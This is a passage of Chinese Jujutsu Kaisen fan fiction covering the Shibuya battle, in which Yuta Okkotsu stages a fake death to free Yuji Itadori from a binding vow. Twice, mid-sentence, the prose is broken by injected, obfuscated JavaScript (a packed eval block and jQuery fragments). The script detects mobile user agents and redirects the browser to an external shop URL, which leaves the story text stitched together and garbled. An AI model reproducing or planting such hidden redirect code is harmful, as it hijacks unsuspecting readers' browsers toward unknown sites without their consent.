他的语气平淡却带着笑。但那并非什么善意的赞许,而是某种持续却显而易见的阴谋终于被人发现、有一点不合时宜的快慰和满溢的讥讽。
男人将头扭了回去,似乎突然对他和他手中的咒物失去了兴致,连眼神都不愿意再分给他半点:“既然你想拿,那就收好它。”
真人的目光流连在羂索和虎杖悠仁之间,突然兴奋地舔了舔嘴唇:“夏油,他好像不听你的话了诶。”
怎么回事?他们之间不是有着某种束缚吗?难道是束缚已经被完成,像是真人和高专的学生之间的束缚那样解开了吗?漏瑚疑惑地扫视着他们,虎杖悠仁违背了羂索的命令却没有受到任何惩罚,看起来就像是束缚消失了一样。
“算了,这都无所谓,”特级咒灵沉下声音说,“花御已经不在了,接下来我要去找陀艮,然后终结这场战争。”
胀相默默走到了虎杖悠仁身边,用行动表明了自己的立场。
眼见让咒灵取代人类、成为这片大地真正的主人的目的即将达成,漏瑚难免振奋了起来,难以自抑的咒力让地下站台内的气温霎时升高,空气中仿佛燃烧起了看不见的火焰一样,扭曲着背后的景象。
“嗯~那就是说接下来可以自由行动了的意思吧?那我要去找那个三七分术师再玩一场,”真人点点下巴,语气随意,“夏油你呢?”
在特级咒灵们看不见的地方,背对着它们的男人早已将目光重新对上了那片愤怒的琥珀。
“那可不行啊,”羂索的声音还是那副波澜不惊、好似一切都在他的算计当中的腔调,“真人,你得留在这里才行。”
缝合脸咒灵歪着头问:“为什么?这边已经没有需要我做的事了吧?还是说你需要更多的改造人?不过对上稍微有点本事的咒术师,这种级别的改造人也没什么意义吧?”
“夏油,”漏瑚打断了它的喋喋不休,“你是什么意思?”
羂索转过身,露出了一张笑眯眯的脸:“我?说起来,我还从没跟你们好好说过我的理想吧?不过你们都只是从负面感情中诞生的咒灵,自大与自负早就是刻进骨髓的东西,会无视更重要的事也是理所当然的啊。”
独眼咒灵的头顶有隐隐火光亮了起来,似乎预兆着一座沉睡的火山即将苏醒,能够烧尽沿途一切的岩浆正在地底蠢蠢欲动。
“哈哈!我懂了我懂了!”真人眯着异色的双眼,捧腹大笑道:“这就是‘那个时刻’吧?”
咒灵们迅速达成了一致,没有任何心理负担地选择了背叛背叛了他们的人类。
真人举起双手:“怪不得你说虎杖悠仁肯定会帮你,原来在这里等着呢?”
羂索笑而不语。
“......我姑且最后问你一句,夏油,”漏瑚调节着温度,“你的目的到底是什么?”
“呵呵,目的、目标、理想、宏愿......你们总爱给自己想要做的事找一个冠冕堂皇的理由,就是不肯承认那只是‘我想做的事’罢了。”羂索耸耸肩,颇为无奈地解释道:“至于回答——”
他说:“为了满足我的好奇心。”
95. 第 95 章
乙骨忧太抵达涩谷的时候,混战刚刚开始。
“帐”的外围有咒术师正在和诅咒师对峙,他远远看了一眼,发现那个咒术师正是一年级的钉崎野蔷薇。
重面春太用刀柄像是手掌、甚至能够自主行动的咒具刺穿了倒在身侧的新田新,听着她因为痛苦而死死忍耐着发出的呜咽。
“你这混蛋——”
“嘿嘿、嘿嘿嘿!怎么样?我最......”梳着侧马尾的黄发诅咒师没能说完话。能够在危急关头爆发幸运属性的术式在绝对迅速的斩击下无从反抗,微小的奇迹没能救下这个不论是行事作风还是衣着风格都很典型的诅咒师。
“呃、乙骨前辈?!”钉崎野蔷薇惊讶地叫出了在重面春太背后挥刀之人的名字。
“嗯,钉崎同学,”黑发少年甩了甩刀,抬脚迈过逐渐蔓延的血迹,用反转术式治疗了新田新的伤,“不要看这边。”
刚才的一刀横斩直接切断了诅咒师的大脑,尸体的模样自然不怎么好看。他贴心地提醒道,而钉崎野蔷薇此时也顾不上更多:“伏黑他们说遇到了那家伙,但是现在连机械丸的通讯都断了......我和新田小姐继续救助‘帐’外遇袭的辅助监督,请你赶快去帮伏黑他们吧!”
少女对他非常信任,将自己用于联络的小号机械丸交给了乙骨忧太。
“多谢,”乙骨忧太接过圆盘状的机械造物,虽然表面的信号灯并未完全熄灭,但它现在没有任何反应,“具体的方位?”
钉崎野蔷薇摇头。她根本没有接近过战场中心,自然不清楚咒术师们在“帐”内的方位。
这个时候,一直沉默着的小号机械丸突然发出了刺耳的电流声,似乎讯号另一端的状况并不乐观:“注意!五条悟被封印了,现在——斗——咒灵——中心——”
尽管后面的话被完全掩埋在了滋滋的杂音中,但所有收到联络的人都清楚地听到了第一句话。
“五条老师他被......?”
“封印?!这是做得到的事吗?!他可是那个五条悟啊?!”
“真的假的......”
乙骨忧太站起身。大脑被无法快速理解的信息冲击到的钉崎野蔷薇顺着他的动作抬起视线,问道:“那之后怎么办?”
她很快清醒过来,为自己问出了一个蠢问题而懊悔。乙骨忧太直接召唤出了里香,高大的白色式神亲昵地喊着他的名字,又因为弥漫在涩谷的各种咒力而有些躁动不安。
“那就先按照你说的来,钉崎同学,”乙骨忧太仔细感知着大致的方向,虽然不擅长这个,但只要找准大致方向,剩下的就很简单了,“我得走了。”
与此同时,陀艮的领域破溃,它的尸体掉入了被它吞噬又吐出的诸多白骨之间,慢慢地化为了飞灰消散。
禅院真希完整地围观了这场属于天与暴君的战斗盛宴。
“喂,惠,”她有点兴奋地说,“这家伙真的了不得啊。”
伏黑惠没有答话,不过神情同样有些恍惚。他记忆中的伏黑甚尔面容早已模糊,虽然在重逢之后就立刻确定了“啊,这家伙就是我的混账老爹”,但除了面容之外,留在心里的回忆似乎就只有和津美纪一起趴在窗户上注视着他离开的背影,或者某一次站在公寓楼下欲言又止,想要挽留又因为害羞和不好意思而没能说出口。
对于伏黑甚尔的死因,在长大之后他多少能够猜到一些。五条悟第一次找上门来时说的话虽然语焉不详,但后来想一想,真相似乎已经近在咫尺。
只是因为没必要追究,他也不想知道,所以一直任由它留在角落里和过去的回忆一起慢慢生锈。
机械丸的声音打破了他的思绪。
混乱自此变得一发不可收拾。
分散各处的咒术师们也许在很久之后,在他们终于有时间可以好好地聚在一起分析当晚的涩谷究竟发生了什么、把那些大大小小的战斗全都列出来,也会因为缺少了某些至关重要的信息而无法还原全貌吧。
比如为什么原本统一战线的诅咒师和特级咒灵们会突然倒戈相向,究竟是谁先动的手,再也没人能够说清。
改造人的断臂残肢在空中飞舞,和周围的碎石瓦砾一样没有任何值得在意的地方。羂索操纵着调伏的各种咒灵,似乎也乐在其中。虎杖悠仁趁乱向咒灵和那个玩弄他人生的诅咒恣意发泄着自己的愤恨,目之所及皆留下了光滑平整的切口,有的飙出了鲜血,有的只是露出了混凝土组成的切面。
胀相想要在这样的混战中保护住弟弟,他警惕且机敏地观察着四周,因为他还不知道陀艮的去向。
漏瑚的岩浆中蕴含着足以震慑生命的高温。
很快所有人都意识到狭小的空间没给他们留出多少发挥的余地,于是在漏瑚激光一样发射出去的岩浆烧穿了副都心线的站台和至少四层地板之后,他们默契地将战场转移到了地面上。
虎杖悠仁落在了最后。地下站台的每一层都还有幸存者,不过他们大部分都因为受到了“无量空处”的波及而丧失了自主意识,现在正像是梦游一样呆立在原地。
好在下层的结构并未完全坍塌,在挪开几块较大的叠压掉落物之后,虎杖悠仁终于来到了地面上。
仅仅是他落后的这几秒,特级咒灵们与羂索的战斗已经向远方挪去,胀相不远不近地跟在后面,在他追上去之前只是单纯地寻找着机会。
不论“穿血”能够射穿谁的大脑,对虎杖悠仁和胀相来说都无所谓,他们只会拍手大声欢呼叫好,就像是参加节日祭典的孩童一样为摊位上百发百中的参与者激动不已。
虎杖悠仁刚刚迈步,可下一秒他却猛地扭头,嘴巴比大脑更快地对熟悉到亲密无间的咒力气息做出了反应:“——!”
他被人拦腰捉住,黑发少年的手臂比以前长了不少,将人稳稳揽在怀中,隔着两人的衣物也能触及到他紧绷的肌肉和似乎正在努力控制却根本难以抑制的力量。
虎杖悠仁很久不曾体会到这样温暖又柔软的怀抱,令他无比想念、甚至想要永远沉溺于此。
稍微放纵一下也没关系的吧?
像是从前那样,环住双臂,完成一个再普通不过的拥抱。
他们共同跌入裂隙、在深井中坠落,远离了给他们带来一切苦痛的世界。
接下来,就是从步履匆忙、永不止歇的时间中偷来的,只有两个人的须臾一角。
他们狼狈地在跌落中滚作一团,引以为傲的平衡能力却在此时此刻完全失效,亦或者身体的主人们已经全然顾不上控制它们,好在过硬的身体素质和使用咒力保护双方的本能让他们免受坠落造成的伤害,最终双双倒在了地面上。
虎杖悠仁其实不太想听乙骨忧太讲话,因为他知道黑发少年开口第一句一定是在道歉。
“......抱歉。”他猜得果然没错,只是乙骨忧太接下来的行动超出了他的预料。黑发少年率先翻身而起,不由分说地将他压在了身下。
乙骨忧太拉起他的手臂,虎杖悠仁这才注意到早就在战斗中撕扯得不像样的袖子和并未被好好修复的伤口。乙骨忧太当然也看见了那些在他拉动的时候仍在渗血的皮肤,他抿着嘴稍微放轻了一些,不过依旧我行我素地继续着自己的动作。
他仍可以用自己的手指轻松圈起虎杖悠仁的手腕。它们并非纤细、脆弱,他清楚地知道它们是怎样的强大。只是在成长的过程中,总有一段时间会令它们看起来筋骨分明、散发着青涩的力量感。
乙骨忧太似乎有些犹豫,虎杖悠仁仰面看向他。从天井上洒下来的月光仿佛不解风情的薄纱,让他想看却看不太清。冰凉的指尖从腕间流连而过,乙骨忧太放弃了这个位置,转而盯上了虎杖悠仁的脖子。
“......什么?”虎杖悠仁终于有点忍不住,主动开口问道。
难以言喻的焦躁涌上心头,只是下意识的信任让他放弃了一切本能的、生理性的反抗。
“这里连接着大脑与躯体,是咒力在体内流动的重要关口,”乙骨忧太有些答非所问,虎杖悠仁敏锐地察觉到这是紧张造成的口不择言,不光如此,黑发少年的呼吸、心跳、手掌的温度都充满了异常,“相信我,悠仁。把咒力收起来,不要害怕、不要反抗。”
所以虎杖悠仁主动抬头,扬起了脖子。
在战斗中沾染了灰尘的红色链绳被郑重而小心翼翼地挪动,木制勾玉转到了一旁,将它栖息已久的地方让了出来。
虎杖悠仁睁着眼睛,似乎是想要将面前这个人的一举一动都刻印到大脑中去,目光勾勒描摹着他的轮廓,以此唤醒压在心底的宝贵记忆。他没有去看乙骨忧太手中拿出的短绳,哪怕冰凉的手指碰到火热的皮肤时留下了惊人的痒意和瑟缩的欲望,他也一动不动。
稍微有些呼吸困难,不过还能够忍耐。
......绳子太短了,乙骨忧太懊恼地心想。这已经是他日夜压缩休息时间赶制出来的最大长度,可依旧不能保证它们足够完成他的夙愿。只是因为他没有办法继续忍耐有任何东西再将他们分开,所以才选择逼迫着自己用这种充满不确定性的方法来换回他们的亲密无间。
捉襟见肘的长度让他在系结的时候手抖得厉害,指尖碰到的温度让他心惊胆战。明明知道应该做得更好才能让悠仁少难受一些,但他却可耻地掉了链子,连手指都僵硬得不听使唤。
一双和他一样冰冷的手攥住了手腕,抖动在那一瞬间停止了。
没有人再说话,乙骨忧太迅速完成了这一步骤,微微起身,借着这个糟糕的姿势和还算识趣的月光,他细细打量着身下人的眉眼。
从阴影中落下的刀虎杖悠仁再熟悉不过了。
他的呼吸加重了一瞬。尽管很快就放松了下来,不过对于此刻的乙骨忧太来说,这样的反应根本没办法瞒过他。
“抱着我吧,悠仁。”他向前倾身,让身体完完全全地挡住了来自头顶的月光。
虎杖悠仁抬起手臂搭在他的脖子上,这样就将下半身的视野完全遮盖。心跳声震耳欲聋,如有实质般敲打在两人之间。
乙骨忧太赤手握上了刀刃,害怕无法精确完成接下来的动作、避免重复这会令两个人同时感到痛苦的行为,这样的想法胜过了自我惩罚般想要撤掉咒力的欲望。他找准了位置,将刀尖抵上了逐渐躁动起来的心
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378234|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脏。
即便不知道乙骨忧太想要如何让他“死而复生”,也不知道他们究竟为了骗过谁才必须登台上演这样一出“好戏”,被匆忙拉上台救场的虎杖悠仁献上了自己的所有信任。
“......一定要快点叫醒我,”闭上眼睛之前,虎杖悠仁用只有他们两个能够听到的声音说道,“要做的事还没做完呢。”
“我明白。很快就会结束的,悠仁。”
不知道是乙骨忧太先低下头,还是虎杖悠仁用力将他拉到了身前,俯低的身子彻底挤走了他们之间最后的空隙。
一个不太像样的吻。它不是虎杖悠仁和乙骨忧太偷偷期待过的模样,但相互触碰的瞬间带来的满足与放纵让他们沉浸其中,彻底感受着对方。
距离他们极远的天空中飘下了第一朵雪花,只可惜它还没落到“帐”上就被风吹得和尘埃无异。这股风无声地将提早到来的冬天脚步遮住,但是只需等到再过上一两个月,它就能踩着高傲的步伐重新统治这片大地。
胸膛被刺穿的时候,虎杖悠仁其实偷偷睁开了眼睛。
他长大后第一次离得这么近去看乙骨忧太的眉毛和眼睫,它们和他的头发一样黑得彻底,将载着它们的皮肤衬得更加苍白——也许是错觉吧。
眉头皱着,眼睫也在颤抖。
虽说在这种时候偷偷睁眼不太好,但虎杖悠仁突然因为这特别的角度而有些想笑,喉咙嗡动着,却发出了丑陋的咕噜声。
他感受到了恐惧。
他开始庆幸自己的嘴巴说不了话也动不了,这让他有意识地在转动视线的时候还有精力去想如果自己真的要死了,留在这个世界上的最后一句遗言会是什么呢?
他只是想了想,就觉得后脊发凉。可能也是因为那些流失的血液才导致体温降低的吧,身下有什么湿漉漉的东西蔓延着,手臂也挂不住了,在从肩膀滑落的瞬间被人捉住,轻轻放到了身侧的地面上。
乙骨忧太大概用了很大的力气将那柄刀钉在了地面上,贯穿了他的身体,只有这样才能腾出双手来捧住他因为窒息和某些其他原因而不自觉地挣动着的脑袋。
最后失去的是听觉。
居然是听觉吗?
虎杖悠仁祈祷乙骨忧太什么都不要说,他根本不想听,甚至不希望乙骨忧太会在自己的身边见证这一切——哪怕是一场虚假的死亡。
因为自己一定会在死前说些什么来诅咒他。
幸运的是,这是一场缄默无声的离去,只有轻缓的呼吸声落在耳畔,像是那片消逝在空中的雪花,本是不合时宜的东西,却在此时此刻成为了他们的慰藉。
......
虎杖悠仁甚至没来得及看清地狱的模样就被拉了回来。
正极能量与构成咒力的负极能量不同,它们从大脑中生成,因此不论是向外输出还是接收它们,越靠近大脑的“出入口”效率越高。
嘴巴是乙骨忧太推测中最接近这一要求的器官,不过本来能够对外输出正极能量、也就是能够用反转术式治疗他人的咒术师就少得可怜,更没有人亲自尝试过与手掌相比,嘴是不是能更快地将正极能量输出出去。
相反也是一样,所以这毫无疑问是一场豪赌——哪怕从理论上分析得头头是道,在实际操作的时候还是会让人忐忑不安,惧怕任何可能出现的微小差池。
毕竟咒术可以是奇迹,也可以装作命运玩弄妄图彻底支配它们的人的人生。
身下躯体的心脏真正停止跳动的那一刻,乙骨忧太大脑一片空白,几乎下意识地将源源不断生成的正极能量送入虎杖悠仁的身体里。
缠绕在粉发少年脖子上的绳索发出了像是沸腾一般的滋滋声,编入其中的诅咒正在飞速消退,张扬刺耳的动静催促着乙骨忧太的心脏跳得更快,丝毫不敢松懈。
沾着血的长刀被乙骨忧太拔出、随手放在了身边。
因为没办法低头查看伤口的情况,乙骨忧太抬手摸上了虎杖悠仁的胸膛,感受着那道狭长的缺口逐渐闭合,新生的血肉在指腹间生成,最终归于平整。
被推开的时候,乙骨忧太觉得有些头晕眼花,浑身脱力了一般直接倒在了虎杖悠仁的身边,大口喘息着。
“......哈哈!”
笑声让他转过头,花费了他全部心血赶制出来的低配版黑绳已经变成了一堆灰烬,尽管时间不长,可它还是在虎杖悠仁的脖子上留下了清晰的印痕。乙骨忧太伸出手,将那一圈因为勒得过紧和绳索焚烧而红肿起来的伤消去了。
虎杖悠仁的笑声越来越大,有点没法忍耐的意思。小时候玩闹时乙骨忧太挠他的胳肢窝或者侧腰的肉,他就会像这样笑个不停,直到流出眼泪将罪魁祸首扑倒或者直接逃到床下去才会停下。
乙骨忧太撞进日思夜想的蜜色漩涡中,因大笑溢出的泪光让这双眼睛更显得珍贵。
被他好好纳入眼中的那个少年伸出手,蹭掉了留在他唇角的血迹,苦着脸笑道:“我们总是在奇怪的时候变得更亲近了诶……不过,感觉还不错。”
虎杖悠仁抬眼,毫不意外地看到乙骨忧太捂住了脸,有浅浅的红色从指缝间露了出来。
96. 第 96 章
虎杖悠仁在背后摸了一把,鲜血还未干涸,湿漉漉的衣服贴在后背上,不至于难受却总让人觉得很别扭。
他的视线落在了地上的堆起灰烬上。
乙骨忧太顺着他的目光看了过去,向他解释了这番鲁莽但经过了深思熟虑的举动。这截绳索虽说勉强称得上是黑绳,不过毕竟只是临时赶制出来的低配版,部落的老人似乎看穿了他的焦虑,因此劝说他比起在意质量,不如用数量来弥补这点空缺。
他学得很快,米盖尔在回到部落的第二天就驾车离开了,承诺等乙骨忧太想走的时候再来接他。在草原上的半个多月时间里,乙骨忧太只做出了指甲盖大小的绳索。
这还只是舍弃了质量的成果,怪不得编成真正的一条黑绳需要花上几十年的时间。
“这东西不像米盖尔先生用的那一条,编进去的诅咒会将绳子的本体一同烧尽,所以现在就只剩下了这堆灰烬......悠仁,你感觉怎么样?”
束缚已经切实地消失了,虎杖悠仁能够感知到这一点。
“谢谢你,忧太,”他笑道,“这下,我就......”
能够彻底遵从自己的意志而行动了。
灵魂不再叫嚣着亲密,虎杖悠仁小时候感受到的共鸣也已经烟消云散,若说仅剩的联系,那就只有身上在出生前被混入的血脉......若以九相图兄弟们的情况来类比的话,剩下的这点联系也是最没用的东西了。
一些东西依靠血脉可以延续,可是人与人之间建立起的关系不论亲疏远近,其根基永远都不是血缘。或者说,没什么东西是仅凭血脉就能够延续下来的。
羂索也许明白这一点,只是他不在乎,所以他的“孩子们”背叛了他。
尽管乙骨忧太和虎杖悠仁都想要继续将这段梦幻般的独处时间持续到永远,不过总要有人率先打破这份美好。
夏天的时候总是乙骨忧太早起开窗通风换气,而到了冬天就只有虎杖悠仁会主动拉开窗户,让冰冷的空气灌入房间带走积蓄了一整夜的温度。毕竟乙骨忧太在冬天的早上总会像是一只怕冷的袋熊一样躲在被子里嘛。
黑发少年开口道:“悠仁,我来的时候听说五条老师他......”
虎杖悠仁的眉毛耷拉了下来。
狱门疆出现在他手中的时候,乙骨忧太的目光不由自主地被这个灰色的方形咒物吸引了过去。上面的无数眼睛都闭了起来,代表着它已经完全解析了被封印其中的五条悟的信息,困在里面的人将再没有手段由内而外地影响到这个犯了禁忌之物。
“有黑绳的话,应该可以打开它吧,”虎杖悠仁说道,狱门疆的重量很轻,“但是......”
他还有未尽之言。
乙骨忧太已经用掉了自己制作出的所有的绳索,原本剩下的那一截真正的黑绳在他回国之后就交给了五条悟,现在除了被关在狱门疆里的人之外,没人知道它究竟在哪。
“如果重新制作的话倒也还来得及,”乙骨忧太的眼睛转了转,伸手想要触碰狱门疆,“只是现在得先去解决羂索才行。”
他的手落了空。
虎杖悠仁握着狱门疆的手掌向后缩了一下,躲开了乙骨忧太的触碰。
“......为什么,悠仁。”
乙骨忧太不是在疑惑地询问,而是用一种他自己都未曾预料过的平静腔调向虎杖悠仁诉说着。
因为亲吻导致有些运转滞涩的大脑和解除束缚后尘埃落定的心情渐渐褪色,带着他们从美梦中惊醒,重新回到了地狱般的涩谷,回到了即将步入冬夜的当下。
虎杖悠仁不知该如何向他解释。
想要创造一个没有诅咒和咒灵的世界,不管这算不算继承了夏油杰的遗志,虎杖悠仁总觉得自己没办法顺理成章地在乙骨忧太面前说出这样的话。
因为不会被质疑,不会被驳斥,他知道乙骨忧太一定会选择跟着自己一起。不论他要去哪里。
也正因如此,他才会害怕与乙骨忧太分享这样不成熟、稚嫩又异想天开的理想。
“说出来,悠仁。我想听。”
乙骨忧太理解虎杖悠仁的退缩,他对这样的心情再熟悉不过,如今只是他们两人的身份调转了过来,犹豫不定的那个人从他自己变成了虎杖悠仁而已。
只是这一次,他已下定决心无论如何都不会再离开对方的身边了。
虎杖悠仁抿唇,随后缓缓道出了自己的想法。没了束缚的存在,他终于可以肆意向旁人说明去年的平安夜究竟在薨星宫本殿前的参道上发生了什么事,只是现在没有时间留给他们搞清楚完整的来龙去脉,虎杖悠仁只挑了最重要的部分讲给了乙骨忧太听。
“所以,”乙骨忧太以惊人的敏锐让自己看透了迷雾,一阵见血地指出了导致虎杖悠仁做出这种选择的原因,“羂索能够用某种方法让全人类都产生咒力,他想要见到的是用一亿人生成的咒力所制造出来的大咒灵?这样做的前提是让所有人都拥有咒力,而达成这一点就算是接近了你所说的‘没有诅咒与咒灵的世界’......真是很有吸引力的想法。”
恐怕羂索就此掐头去尾,用真假参半的谎言哄骗夏油杰去了薨星宫。
“问题还是出在天元身上。”乙骨忧太皱眉。夏油杰去找了天元,羂索拿走了夏油杰的尸体,为什么偏偏是夏油杰?如果是为了在封印五条悟时让他分神到是不难理解,能让最强咒术师在战斗中出现失误,光这一点就值得羂索冒着巨大的风险换上夏油杰的身体。
虎杖悠仁向他们头顶的方向看了过去。
时不时有因为震颤而从地面上掉下来的细小碎石落在他们身侧,划破夜空的火光如同流星一般,一看就是漏瑚的手笔。
乙骨忧太有点焦虑。他从上次和天元的对话中就可以窥见那个全知的术师并不愿意将一切对他们和盘托出,不管是有它自己的顾虑亦或者是单纯的不问世事,有一些至关重要的讯息被这样模糊的态度遮掩了过去。
“你准备怎么办?悠仁。”
虎杖悠仁收起了狱门疆,站起身。既然暂时拿不到黑绳......这东西在他手中总比落入羂索手里要好得多。
“......”
他向乙骨忧太伸出手,黑发少年执刀握了上去。
——
“哦!棘!”熊猫挥手向站在天桥上举着喇叭的狗卷棘招呼道。咒言师的术式很适合用来疏散群众、配合其他咒术师尽可能控制咒灵横行的街道,在他们的努力下,这附近已经看不见滞留的普通人了。
狗卷棘跑了下来与同伴们汇合。他是第二批进入“帐”内的咒术师,在外围的两个“帐”破溃前一直留在这里。
“棘你也应该听到机械丸说的了吧?”熊猫向身后指了指,露出了日下部笃也:“你也来跟我们一起走吧,惠他们从另一边走了,我们可以一边寻找幸存者一边找悟。”
日下部笃也叹了口气。
机械丸估计也在全力追寻狱门疆的下落,联系用的小号机械丸已经很久没有出声了。
全力解救五条悟——这种话放在一个小时前说出去肯定会被人狠狠嘲笑,但现在却是每个人不得不面对的现实问题。日下部笃也挠了挠头,其实这种事情跟他们这些普通术师没什么太大关系吧?没了五条悟,还会有其他的人顶上去,如果真的遇到了“没有五条悟就解决不了的问题”,大不了大家一起完蛋。
“呼,这么一想真是轻松了不少啊......喂熊猫!我们再去那边找找看!”成年人双手插兜,挎着刀看似大步其实很慢地向周围的小巷走了过去。
狗卷棘和熊猫对视了一眼。
“嗯——总之先跟上去看看吧。”熊猫说道。毕竟是日下部嘛,他这个人怎么说呢......熊猫抖抖毛茸茸的耳朵,和狗卷棘一起跟上了日下部笃也的脚步。
只是个喜欢摸鱼的和善的人。大概吧。
它是熊猫,看不懂人心的啦。
夏油杰死去后,没人还有精力再关注教徒们,诅咒师们也各自散去,如今为了完成夏油杰的遗志而又再次聚集在了一起。他们不在乎特级咒灵们会不会将这个世界闹得天翻地覆,如果说它们真的杀光了人类倒还遂了他们的心愿。
菅田真奈美和祢木利久立于高处,拦下了进入小巷的咒术师们:“站住!你们是高专的咒术师吧?虽然同为术师,但现在还不能让你们过去。就此退出涩谷是个很明智的选择......就看你们够不够聪明了。”
女性诅咒师抬起手,熊猫感觉到有人将他们包围了。
“真是的,罪魁祸首到底找了多少诅咒师过来啊——”日下部笃也抱怨道。不过,这群人也就只有这种水准,真是太走运了!
狗卷棘举起了喇叭。
双方剑拔弩张间,火光在诅咒师们身后极远的楼宇间爆发,烧穿了夜幕。
“哈哈!哈哈哈哈哈哈哈!!!真狼狈啊!!!夏油!!!”
真人的笑声回荡在空旷的断壁残垣间,它的手臂变形成了极长的鞭刃,向不停后撤的羂索攻了过去。蝇头大小的火砾虫发出刺耳的音波,成群结队地低空飞过,振翅的声音汇聚在了一起,竟产生了搅动气流的压迫感。
漏瑚火力全开,被放出来充当炮灰的低等级咒灵仅仅在靠近的时候就已经被周围的高温引得自燃了起来。
“原本以为我们至少还能其乐融融地一起攻占涩谷,”独眼的咒灵不断提高着温度,“那就让你的死来开启属于我们的时代吧,夏油!”
真人扭曲着自己的身体,像是陀螺一样绕开了羂索召唤出的咒灵,讥笑嘲讽道:“看起来虎杖悠仁可不打算帮你诶~”
他们都没有留手的意思,也没人会在乎究竟损坏了多少建筑、点燃的火焰又困死了多少人。尽情战斗、尽情杀戮,一切在社会规训下被隐藏起来的人性暗面铸造了特级咒灵们狂放的天性。
羂索且战且退,因为“赫”而失去的大半躯体早已在反转术式的作用下恢复如初,可损毁的衣物却无法复原,偏偏他今天为了让自己更接近夏油杰还特意穿了对方常穿的袈裟。他其实很久没穿过这样“复古”的衣服了,虽然不至于不适应,但袒露上身的确略显狼狈。
如果他没看错,刚才从他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378235|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们身后一闪而过的黑影是......
“别在意这些,真人,”羂索停了下来,转身应敌,脚下的阴影如同汹涌的海潮般激荡着,“我一直都想亲自和你们交手试试,难得有这样的机会,那就让我好好体验一下吧。”
他没有因为正在被两个特级咒灵围攻就露出怯意,相反面上的笑容更加难测:“可别让我失望。”
蝠鲼模样的咒灵被召唤了出来,羂索抬脚登上了它的后背。
“别想跑!!”漏瑚从掌心射出通红的火焰激光,明亮的弹道在漆黑的夜空中留下了烟花炸裂一样的轨迹,试图用密集的进攻压制住羂索的动作。
没了花御,咒灵们改变地貌的手段就变得捉襟见肘了起来。羂索似笑非笑,【咒灵操术】逐一将各种各样的咒灵们召唤了出来。没有上限、没有限制,低级咒灵就用来抵挡进攻,等级高一些的就可以稍微玩一玩来拖延时间。它们层出不穷的能力也是这个术式最迷人的地方之一。
真人觉得现在自己灵感爆膨。它直接将自身一分为二,命令自己的分身学着花御用咒力捏出的庞大根系一样,将肉|体改造成了足以让它们登上天空的平台。
“嘻嘻!嘻嘻嘻哈哈哈哈!!”真人沿路疾驰,漏瑚头顶发出的一记冲击以闪电般的速度射穿了羂索脚下的咒灵,它们看着这个曾经的同盟者从天空中下坠,眼看就要掉到由真人一部分肉|体改造而成的平台上。
缝合脸的咒灵已经舔着嘴唇开始想象博学的阴谋家的灵魂究竟会是什么模样的了。只要羂索落到这个平台上,真人就有机会立刻将其变成一具牢笼。只可惜分裂出来的肉|体并不算“原型”,否则它便可以像是展开领域那样将羂索玩弄于股掌之间。
羂索能够让自己停止下落的方法还有很多,只不过这些准备都通通在他感知到那个接近的咒力之后被舍弃了。他扬着嘴角,看向咒灵们的眼神染上了微妙的恶意。
那眼神仿佛再现了里樱高校体育馆里的真人对吉野顺平说的那句话:你们也不过是比你们认为是笨蛋的家伙聪明一点的笨蛋罢了。
这眼神让漏瑚火冒三丈:“混蛋!!你那是什么眼神?!!我们诅咒才是真正的新人类!!!跟着你们的旧世界一起被灼烧殆尽吧,狂妄的家伙!!!”
真人已经开始着手改造半身建成的平台,可下一刻它却猛地将瞳孔缩了起来,甩向羂索身后的建筑屋顶。
这个咒力、这个气息!!
“果然,你果然来了啊——!!”它有点癫狂地吼道,视线直直地盯住了立在白色式神身前的黑发少年。它就说乙骨忧太怎么可能不在!!
以及——
它的视角还没转动完全,脚下的平台就已经出现了无数平滑的切口,节节掉落。失去了支撑的特级咒灵们感受着脚下传来的震荡,不过没有任何一方因此而露出破绽。
真人的身上也溅出了血花,毫无预兆的斩击几乎贯穿了它,只不过似乎因为发出得太过匆忙而没能完全发挥出应有的威力。
没有人去管羂索,乙骨忧太和虎杖悠仁抵达战场后直接找上了真人和漏瑚。
因为知道普通的进攻对真人没有任何效果,因此虎杖悠仁没用全力。
“那个缝合脸交给我,”乙骨忧太甩刀,周遭火光摇曳,还能听见被战斗惊动的汽车警报声,“你和胀相对付火山头,没问题吧?”
“嗯,”虎杖悠仁握紧拳头,“没有问题。”
一直不远不近跟着羂索三人的胀相终于露面,很快便和跃下高楼的虎杖悠仁汇合。
“悠仁,他就是.....”
虎杖悠仁点头,将视线从黑发少年身上扯了下来,准备专心和胀相对付漏瑚。以及从刚才开始就主动隐藏起来的羂索,他必须对那家伙报以最大的警惕心。
胀相仍在看着乙骨忧太。黑发少年与他从虎杖悠仁口中听到的形象略有出入,只是站立在天台的边缘就让人难以忽视,更不用提他身上恐怖的咒力量,很难想象拥有它们的居然只是一个十七八岁的少年。
当冰冷的杀意慢慢弥散直至填满了这片战场,真人直面天敌,终于让它有了一些认真起来的意思。不过,这样才有趣!!游走在生死之间的战斗只会让它更加接近完整,从诞生到现在它还从没遇到过能够让它这样兴奋的对手!!
“上次没能彻底把你祓除,”乙骨忧太不再收敛,进攻的姿态宛如利刃出鞘,张扬又耀眼,“这一次我不会失手。”
胜利的宣言像是一个讯号,乙骨忧太话音刚落,身后蓄力已久的里香就已咆哮着向真人所在的地方冲了过去。黑发少年身影一闪,消失在了原地。
漏瑚只是兴致缺缺地看了一眼真人那边,就把注意力放回了虎杖悠仁和胀相的身上。
